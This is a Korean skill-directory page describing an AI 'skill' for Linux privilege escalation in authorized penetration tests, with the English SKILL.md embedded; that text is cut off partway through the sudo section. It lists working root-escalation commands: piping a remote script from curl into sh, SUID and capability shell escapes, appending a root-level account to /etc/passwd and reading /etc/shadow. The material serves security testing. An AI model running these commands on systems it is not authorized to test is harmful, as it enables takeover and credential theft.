본문으로 건너뛰기
Skillpedia
보안10k · #11967

offensive-linux-privesc

하는 일

이 스킬은 권한이 낮은 계정에서 Linux 시스템의 root 권한을 얻는 방법을 찾는 방법론입니다. sudo 규칙, SUID 바이너리, 권한 기능(capabilities), cron 작업, 파일 권한을 다룹니다. 서면 허가를 받고 Linux 호스트를 테스트하는 보안 전문가를 위한 스킬입니다.

사용하는 경우

  • ✓승인된 테스트에서 권한이 낮은 셸로 Linux 호스트에 접근해 root 권한을 확인해야 할 때.
  • ✓sudo 규칙, SUID 바이너리, 권한 기능에 잘못된 설정이 있는지 검토하고 싶을 때.
  • ✓더 높은 권한으로 실행되는 cron 작업이나 쓰기 가능한 스크립트를 확인해야 할 때.

스킬 링크

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/privesc/offensive-linux-privesc/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“이 Linux 서버를 테스트할 승인을 받았습니다. 저는 권한이 낮은 계정을 가지고 있습니다. root 권한으로 올라갈 수 있는지 확인해 주세요.”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

이 스킬은 먼저 자동 열거를 실행한 뒤, sudo, SUID 바이너리, 권한 기능 같은 가능성이 가장 높은 영역을 확인합니다. 그다음 cron 작업, 파일 권한, 다른 경로를 살펴보고 찾은 체인을 검증합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Linux Privilege Escalation

You have a low-privilege shell on a Linux target. Your objective is to escalate to root through systematic enumeration and exploitation of misconfigurations, vulnerable software, and kernel flaws. This skill provides a structured methodology that moves from passive reconnaissance through increasingly aggressive techniques, prioritizing reliability and stealth.

Every engagement starts with situational awareness. Know what you have, what the system exposes, and what defenders can see. Chain low-severity findings into high-impact escalation paths.

Quick Workflow

  1. Run automated enumeration (LinPEAS, linux-exploit-suggester) to surface quick wins.
  2. Check sudo permissions, SUID/SGID binaries, and capabilities first -- these are the highest-probability vectors.
  3. Enumerate cron jobs, writable scripts, and PATH ordering for hijack opportunities.
  4. Inspect file permissions on /etc/passwd, /etc/shadow, service configs, and SSH keys.
  5. Check for NFS shares with no_root_squash and Docker group membership.
  6. Fingerprint the kernel version and search for applicable kernel exploits as a last resort.
  7. Validate the escalation path, document the chain, and clean up artifacts.

Automated Enumeration

Before manual inspection, run automated tools to surface the broadest set of findings. Pipe output to a file for offline review and cross-referencing.

# LinPEAS -- transfer and execute
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh | tee /dev/shm/linpeas.out

# Minimal execution to reduce noise on monitored systems
./linpeas.sh -s -q 2>/dev/null | tee /dev/shm/linpeas_quiet.out

# Kernel exploit suggestion
./linux-exploit-suggester.sh --uname "$(uname -r)"

# pspy -- monitor processes without root (watches procfs)
./pspy64 -pf -i 1000 | tee /dev/shm/pspy.out

Review LinPEAS output section by section. Focus on red and yellow highlights. Cross-reference SUID findings with GTFOBins immediately.


SUID/SGID Binary Abuse

SUID binaries execute with the file owner's privileges. When owned by root, they are direct escalation vectors if they permit arbitrary command execution, file reads, or file writes.

Enumeration

# Find all SUID/SGID binaries
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
find / -perm -u=s -type f -exec ls -la {} \; 2>/dev/null

Exploitation via GTFOBins

# If find is SUID
find . -exec /bin/sh -p \;

# If vim is SUID
vim -c ':!/bin/sh'

# If python3 is SUID
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# If cp is SUID -- overwrite /etc/passwd
cp /etc/passwd /dev/shm/passwd.bak
echo 'hacker:$(openssl passwd -1 password):0:0::/root:/bin/bash' >> /dev/shm/passwd_modified
cp /dev/shm/passwd_modified /etc/passwd

# If bash is SUID
bash -p

# If nmap (old interactive mode) is SUID
nmap --interactive
!sh

Custom SUID Binary Analysis

# Check what libraries a SUID binary loads
ldd /usr/local/bin/custom_suid
strace /usr/local/bin/custom_suid 2>&1 | grep -i open

# Check for relative path calls in the binary
strings /usr/local/bin/custom_suid | grep -E '^[a-z]'
ltrace /usr/local/bin/custom_suid 2>&1

If a SUID binary calls another program without an absolute path, you can hijack it by prepending a malicious directory to PATH.


Linux Capabilities Exploitation

Capabilities split root privileges into discrete units. A binary with cap_setuid can change its UID to 0 without being SUID.

# Find binaries with capabilities set
getcap -r / 2>/dev/null

Exploitation

# cap_setuid on python3
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# cap_setuid on perl
perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/bash";'

# cap_dac_override on vim (read/write any file)
vim /etc/shadow

# cap_dac_read_search on tar (read any file)
tar czf /dev/shm/shadow.tar.gz /etc/shadow
tar xzf /dev/shm/shadow.tar.gz -C /dev/shm/

Capabilities are frequently overlooked by administrators. They appear in LinPEAS output but deserve dedicated enumeration.


Sudo Misconfigurations

Sudo rules are the most common privilege escalation vector in real engagements. Check sudo -l immediately upon gaining a shell.

# List sudo permissions for current user
sudo -l
sudo --version
cat /etc/sudoers 2>/dev/null

NOPASSWD Exploitation

# If sudo allows vi/vim NOPASSWD
sudo vim -c '!bash'

# If sudo
자주 묻는 질문

SUID 바이너리란 무엇인가요?

소유자의 권한으로 실행되는 프로그램으로, 잘못 설정되면 악용될 수 있습니다.

어떤 도구를 언급하나요?

자동 점검을 위해 LinPEAS와 linux-exploit-suggester를 언급합니다.

승인된 테스트에만 쓰나요?

네. 테스트 권한이 있는 시스템을 위해 작성되었습니다.

상세 정보

작성자의 원본 설명

Comprehensive Linux privilege escalation methodology for offensive security engagements. Covers the full attack surface from a low-privilege shell to root: SUID/SGID binary abuse via GTFOBins, Linux capabilities exploitation (cap_setuid, cap_dac_override, cap_dac_read_search), sudo misconfigurations including NOPASSWD rules and Baron Samedit (CVE-2021-3156), cron job abuse through writable scripts, PATH hijacking, and wildcard injection with tar/rsync/chown. Includes writable /etc/passwd attacks, NFS no_root_squash exploitation, kernel exploits (DirtyPipe CVE-2022-0847, DirtyCow CVE-2016-5195,

repo: SnailSploit/Claude-Red

인기도

GitHub 스타
10k
순위
#11967
라이선스
MIT
업데이트
2026. 10. 12.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬